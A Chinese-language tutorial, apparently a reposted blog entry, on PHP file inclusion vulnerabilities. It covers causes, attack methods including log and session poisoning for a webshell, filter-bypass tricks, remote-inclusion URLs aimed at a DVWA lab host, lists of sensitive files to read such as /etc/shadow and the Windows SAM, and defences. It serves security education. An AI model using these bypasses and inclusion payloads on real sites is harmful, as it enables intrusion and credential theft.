web漏洞之文件包含

一、概述

1.1简介

  服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)

1.2文件包含函数

函数 区别
require() 在包含的过程中如果出现错误,会直接报错并退出程序的执行
include() 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require_once() 和require函数相同,但只包含一次
include_once() 和include函数相同,但只包含一次

二、产生原因

  文件包含的函数在使用时没有对获取的参数进行严格过滤和审查,导致包含的文件路径用户可控,包含执行了恶意脚本代码,从而超出我们期望执行的范围,比如下面代码:

 

  上面的代码将我们前端获取的路径没有做任何过滤直接进行了执行,如果用户输入的是一个恶意脚本的路径地址,就有可能执行恶意脚本导致出现安全隐患。

三、常见位置

       URL栏中有以下内容则可能存在文件包含

      ?page=

      ?file=

      ?home=

四、攻击方法

       1.利用文件包含可以读取目标服务器上其他文件

       2.利用input写入文件,条件allow_url_include = On

       3.结合文件上传可以包含我们上传的getshell脚本,达到执行脚本的目的

       4.利用日志包含写入一句话等

       5.包含session文件查看用户名密码,也可以在PHPmyadmin登录框插入一句话,如果写入session日志文件,就可以通过包含sessio文件getshell

五、绕过方法

5.1本地文件包含绕过

  5.1.1绕过特殊字符过滤

  5.1.2可以采用大小写和复写来进行绕过

  5.1.3编码绕过,对要包含的url进行编码

  5.1.4%00截断,条件:magic_quotes_gpc = Off php版本<5.3.4

  5.1.5使用长字节截断,

  在Windows下目录最大长度为256字节,Linux下为4096字节,后面超过的部分会被忽略。因此可以使用足够长的目录进行访问,前面使用./././或////等内容进行填充,超过256字节或者4096字节后再在后面添加想要包含的内容,这样超过的部分服务器就不会再进行检测,但是执行的时候还是会对后面添加的内容进行执行

5.2远程文件包含绕过

5.2.1?号绕过,在要包含的文件末尾加一个问号

http://192.168.10.130/dvwa/vulnerabilities/fi/?page=http://192.168.10.129/1.txt?

5.2.2#号绕过,在要包含的文件末尾加一个#号(转义为:%23)

http://192.168.10.130/dvwa/vulnerabilities/fi/?page=http://192.168.10.129/1.txt%23

六、防御方法

       1.严格过滤和限制包含中的参数,取消那些不可控的参数。

  2.开启open_basedir()函数,将其设置为指定目录,只允许制定目录可以访问。

  3.如果不需要文件包含,则关闭allow_url_include()函数,防止远程文件包含

  4.如果需要使用文件包含,尽量使用白名单的方法对要包含的文件进行限制,不要使用黑名单进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞

七、危害

       1.敏感信息泄露(配置文件、源码、数据库配置文件、用户名密码文件等等)

       2.服务器被执行恶意脚本,失去控制

八、常见包含文件

8.1Window常见默认文件

路径

描述

C:oot.ini

查看系统版本

C:windowssystem32inetsrvMetaBase.xml

IIS 配置文件

C:windows epairsam

存储 windows 系统初次安装的密码

C:Program Filesmysqlmy.ini

mysql 配置

C:Program Filesmysqldatamysqluser.MYD

查看MySQLroot密码

C:windowsphp.ini

php 配置信息

C:windowsmy.ini

mysql 配置文件

8.2Linux/Unix常见文件

路径

描述

/etc/passwd

查看账户信息

/etc/shadow

查看密码文件

/usr/local/app/apache2/conf/httpd.conf

apache2 默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf

虚拟网站设置

/usr/local/app/php5/lib/php.ini

PHP 相关配置

/etc/httpd/conf/httpd.conf

查看Apache配置文件

/etc/my.conf

查看MySQL配置文件

8.3常见日志默认路径

路径

描述

/etc/httpd/logs/access_log

Apache在Linux中日志默认路径

/var/log/httpd/access_log

D:xamppapachelogsaccess.log

Apache在win2003中日志默认路径

D:xamppapachelogserror.log

C:WINDOWSsystem32Logfiles

IIS6.0在win2003中默认日志文件

原文地址:https://www.cnblogs.com/bin1121/p/12606894.html